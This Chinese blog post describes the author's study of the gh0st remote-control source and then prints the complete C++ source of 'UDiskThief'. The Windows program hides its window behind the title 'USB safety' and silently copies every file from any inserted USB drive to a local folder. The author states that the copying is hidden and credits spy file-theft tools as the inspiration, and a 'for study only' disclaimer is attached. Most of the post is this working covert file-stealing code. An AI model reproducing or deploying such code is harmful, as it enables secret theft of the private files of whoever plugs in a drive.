从学习远程控制中所学所感

目的:远程访问计算机,从中获取所需要的文件,并拷贝至本地计算机。

灵感:从许多间谍窃取文件机密的程序中,获得灵感。木马病毒可以在植入“肉鸡”以后从中搜索相应文件,并远程通过互联网传送回“靶机”。

思考:因为涉及底层文件处理,选用C/C++语言进行编写。但由于之前并未接触类似知识,得一高人指路,自此得gh0st源码。开始学习之路。

从互联网上多方搜索,并对学习方案进行比对,最终选用“老狼”的gh0st课程讲解(课程中存在很多错误,而且我最想吐槽老狼的英语口语),并结合“离别歌"的“关于gh0st的学习笔记”。从中获益颇多。

学习过程之中我发现gh0st远比我需要实现的功能要强大的多,全面的学习工作量大,并且所需要的基础知识储备也更多。因此在学习的过程中,我主要取其中对于文件读写、远程传输、socket套接字和多线程处理等几个方面重点学习。这也是本文存在的原因,学习过程中多为理论与代码关系的处理。在学习完C++多线程和文件读写后,变想自己尝试一下去实现一下。也就有了本文所要描述的程序。

以下程序代码仅供学习交流使用,不得用于任何非法途径

本程序中主要实现了--读取拷贝插入电脑的U盘中的文件到电脑本地。速度是正常USB拷贝速度2倍(需要考虑usb的类型)。

因为整个拷贝程序是自动后台运行,打开电脑后,运行程序后,所有接入的U盘(移动硬盘除外)硬件中的文件都会拷贝到本机。整个过程是隐藏的。

因为写的比较仓促,没有加入异常控制和报错调试部分模块。可以自行加入Try。。。Catch模块进行控制。

代码全文:(这可能是我注释写的最明白的一次了)

#include

#include <Dbt.h>

#include <stdio.h> 

#pragma warning(disable:4996)

using namespace std;

#include "resource.h"

//拷贝线程句柄

HANDLE g_hThreadCopy = NULL;

//拷贝到目的地路径

TCHAR g_szDestPath[MAX_PATH] = "E:\\BackUDisk";

//获取当前插入设备对应磁盘编号 A--Z

char FirstDriveFromMask(ULONG unitMask);

//判断路径是否存在

BOOL IsDirectoryExist(LPCTSTR strPath);

// 开启拷贝文件线程

HANDLE StartCopyThread(char* szRootPath);

// 停止拷贝线程函数

void StopCopyThread();

//线程拷贝函数

DWORD WINAPI CopyDataProc(LPVOID lpParam);

//拷贝指定路径下所有文件

void Copy(char *lpszSourcePath, char *lpszDestPath);

LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam);

int WINAPI WinMain(

HINSTANCE hInstance, //当前程序运行的实例句柄,每运行一次操作系统会分配一个句柄值

HINSTANCE hPrevInstance, //当前实例的前一个实例句柄

LPSTR lpCmdLine, //命令行参数

int nCmdShow) //窗口显示方式

{

TCHAR szAppClassName[] = TEXT("UDiskThief");

WNDCLASS wndClass;

wndClass.cbClsExtra = 0;

wndClass.cbWndExtra = 0;

wndClass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);

wndClass.hCursor = LoadCursor(NULL, IDC_ARROW);

wndClass.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_ICON1));

wndClass.hInstance = hInstance;

wndClass.lpfnWndProc = WindowProc;

wndClass.lpszClassName = szAppClassName;

wndClass.lpszMenuName = NULL;

wndClass.style = CS_VREDRAW | CS_HREDRAW;//

RegisterClass(&wndClass);

//创建窗口,窗口是通过句柄来标识

HWND hWnd = CreateWindow(szAppClassName, TEXT("U盘安全"), WS_OVERLAPPEDWINDOW, 200, 200, 300, 150, NULL, NULL, hInstance, NULL);

if (hWnd == NULL)

{

MessageBox(NULL, TEXT("创建窗口失败"), TEXT("提示"), MB_ICONERROR | MB_OK);

return 0;

}

ShowWindow(hWnd, SW_HIDE);

UpdateWindow(hWnd);

//Windows是基于消息的一种事件驱动方式的程序设计模式,比如鼠标点击,Windows会感知这个消息,

//然后将这个事件包装成一个消息,投递到应用程序的消息队列,然后应用程序从消息队列中取出这个消息,冰进行响应

MSG msg;

while (GetMessage(&msg, NULL, 0, 0))

{

TranslateMessage(&msg); //将虚拟键消息转为字符消息

DispatchMessage(&msg); //分发消息到窗口回调函数,将消息回传给操作系统

}

return 0;

}

//窗口处理回调函数

LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)

{

static PAINTSTRUCT ps;

TCHAR *pszRootPath = NULL;

switch (uMsg)

{

case WM_PAINT:

{

EndPaint(hWnd, &ps);

}

return TRUE;

case WM_CLOSE:

DestroyWindow(hWnd);

break;

case WM_DESTROY:

delete[] pszRootPath;//释放内存

PostQuitMessage(0);

break;

case WM_DEVICECHANGE:

/*

DBT_DEVICEARRIVAL: 已插入计算机,并且可以使用

DBT_DEVICEQUERYREMOVE:请求删除设备的权限,任何应用程序可以拒绝此请求并取消删除。

DBT_DEVICEQUERYREMOVEFAILED:请求删除设备已被取消。

DBT_DEVICEREMOVEPENDING:设备即将被删除,不能被拒绝。

DBT_DEVICEREMOVECOMPLETE:设备已被删除。

DBT_DEVICETYPESPECIFIC:特定于设备的事件

DBT_CONFIGCHANGED:当前配置已更改。

DBT_DEVNODES_CHANGED:计算机节点已更改。

*/

switch (wParam)

{

//已插入计算机,并且可以使用

case DBT_DEVICEARRIVAL:

{

//lParam 指向结构体的指针,标识插入的设备

/*

typedef struct _DEV_BROADCAST_HDR {

DWORD dbch_size;//这个结构的大小,以字节为单位。

DWORD dbch_devicetype; //设备类型;为2:表示逻辑卷。 DBT_DEVTYP_VOLUME

DWORD dbch_reserved;

} DEV_BROADCAST_HDR, *PDEV_BROADCAST_HDR;

*/

DEV_BROADCAST_HDR* lpdb = (DEV_BROADCAST_HDR*)lParam;

//既然是逻辑卷,获取盘符名称

/*

typedef struct _DEV_BROADCAST_VOLUME {

DWORD dbcv_size;//这个结构的大小

DWORD dbcv_devicetype;//设备类型; DBT_DEVTYP_VOLUME

DWORD dbcv_reserved; //系统保留; 不使用。

DWORD dbcv_unitmask; //标识一个或多个逻辑单元的逻辑单元掩码。 掩码中的每个位对应于一个逻辑驱动器。 位0表示驱动器A,位1表示驱动器B,依此类推。

WORD  dbcv_flags;  //标志组合 (DBTF_MEDIA:更改影响驱动器中的介质。DBTF_NET:指示逻辑卷是一个网络卷。)

} DEV_BROADCAST_VOLUME, *PDEV_BROADCAST_VOLUME;

*/

DEV_BROADCAST_VOLUME* lpdbv = (DEV_BROADCAST_VOLUME*)lpdb;

char chDisk = FirstDriveFromMask(lpdbv->dbcv_unitmask);

pszRootPath = new TCHAR[MAX_PATH];

sprintf(pszRootPath, "%c:", chDisk);

//判断驱动器类型 可移动设备

if (DRIVE_REMOVABLE == GetDriveType(pszRootPath))

{

Sleep(500);

//创建开始复制线程

g_hThreadCopy = StartCopyThread(pszRootPath);

}

return TRUE;

}

//设备已被删除

case DBT_DEVICEREMOVECOMPLETE:

StopCopyThread();

return TRUE;

}

return TRUE;

}

return DefWindowProc(hWnd, uMsg, wParam, lParam);

}

// 获取当前插入设备对应磁盘编号 A--Z

/*

标识一个或多个逻辑单元的逻辑单元掩码。 掩码中的每个位对应于一个逻辑驱动器。

位0表示驱动器A,位1表示驱动器B,依此类推。

*/

char FirstDriveFromMask(ULONG unitMask)

{

/*

位运算:

& 按位与 如果两个相应的二进制位都为1,则该位的结果值为1,否则为0

| 按位或 两个相应的二进制位中只要有一个为1,该位的结果值为1

^ 按位异或 若参加运算的两个二进制位值相同则为0,否则为1

~ 按位取反 ~是一元运算符,用来对一个二进制数按位取反,即将0变1,将1变0

<< 左移 低位补0

>> 右移 向右移动后,正数的话  高位补0,负数补1

*/

char i;

for (i = 0; i < 32; i++)

{

if (unitMask & 1)

break;

unitMask = unitMask >> 1;

}

return i + 'A';

}

//判断目录是否存在

BOOL IsDirectoryExist(LPCTSTR lpszPath)

{

//获取指定文件或目录的文件系统属性。失败返回:INVALID_FILE_ATTRIBUTES

DWORD dwFileAttr = ::GetFileAttributes(lpszPath);

if (dwFileAttr == INVALID_FILE_ATTRIBUTES)

return FALSE;

if (dwFileAttr & FILE_ATTRIBUTE_DIRECTORY)

return TRUE;

else

return FALSE;

}

// 开启拷贝文件线程

HANDLE StartCopyThread(char* szRootPath)

{

StopCopyThread();

//在主线程的基础上创建一个新线程

return CreateThread(

NULL, //线程安全属性

NULL, //堆栈的初始大小(以字节为单位)。 如果为0,则新线程使用可执行文件的默认大小。

CopyDataProc, //线程函数的起始地址

szRootPath, //传递给线程的参数指针

NULL, //线程创建标识

NULL); //线程ID

}

// 停止拷贝线程函数

void StopCopyThread()

{

if (g_hThreadCopy)

{

CloseHandle(g_hThreadCopy);

g_hThreadCopy = NULL;

}

}

//线程拷贝函数

DWORD WINAPI CopyDataProc(LPVOID lpParam)

{

char *szRootPath = (char*)lpParam;

//开始复制

Copy(szRootPath, g_szDestPath);

StopCopyThread();

return 0;

}

//拷贝指定路径下所有文件

void Copy(char *lpszSourcePath, char *lpszDestPath)

{

//拷贝到目的地,判断路径是否存在

if (!IsDirectoryExist(lpszDestPath))

{

//创建路径

SECURITY_ATTRIBUTES sa = { 0 };

CreateDirectory(lpszDestPath, &sa);

}

//查找到的所有类型的文件*.*

TCHAR szSourceFindPath[MAX_PATH];

strcpy(szSourceFindPath, lpszSourcePath);

strcat(szSourceFindPath, "\\*.*");     //文件名可以包括通配符,例如星号(*)或问号(?)。

WIN32_FIND_DATA FindFileData = { 0 }; //存储文件或目录的信息

/*

查找文件

第一个参数:路径或者文件名。 文件名可以包括通配符,例如星号(*)或问号(?)。

第二个参数:指向WIN32_FIND_DATA结构的指针,该结构接收有关找到的文件或目录的信息。

*/

HANDLE hFinder = ::FindFirstFile(szSourceFindPath, &FindFileData);

if (INVALID_HANDLE_VALUE == hFinder)

{

return;

}

while (TRUE)

{

if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)

{

//如果为文件夹 包括. 或者..

if (FindFileData.cFileName[0] != '.')

{

//递归的来源路径

TCHAR szSourcePath[MAX_PATH];

strcpy(szSourcePath, lpszSourcePath);

strcat(szSourcePath, "\\");

strcat(szSourcePath, FindFileData.cFileName);

//存储到本地磁盘路径

TCHAR szDestPath[MAX_PATH];

strcpy(szDestPath, lpszDestPath);

strcat(szDestPath, "\\");

strcat(szDestPath, FindFileData.cFileName);

//递归调用

Copy(szSourcePath, szDestPath);

}

}

else

{

//新的文件

char szNewFileName[MAX_PATH];

char szUsbFileName[MAX_PATH];

sprintf(szNewFileName, "%s\\%s", lpszDestPath, FindFileData.cFileName);

sprintf(szUsbFileName, "%s\\%s", lpszSourcePath, FindFileData.cFileName);

CopyFile(szUsbFileName, szNewFileName, TRUE);

}

if (!FindNextFile(hFinder, &FindFileData))

break;

}

FindClose(hFinder);

}

本文章仅供学习交流使用,程序有可能被杀软误杀。我也不知道为什么。不过我以前写的程序,也常被误杀。。。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
禁止转载,如需转载请通过简信或评论联系作者。
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,402评论 6 499
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,377评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,483评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,165评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,176评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,146评论 1 297
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,032评论 3 417
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,896评论 0 274
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,311评论 1 310
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,536评论 2 332
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,696评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,413评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,008评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,659评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,815评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,698评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,592评论 2 353

推荐阅读更多精彩内容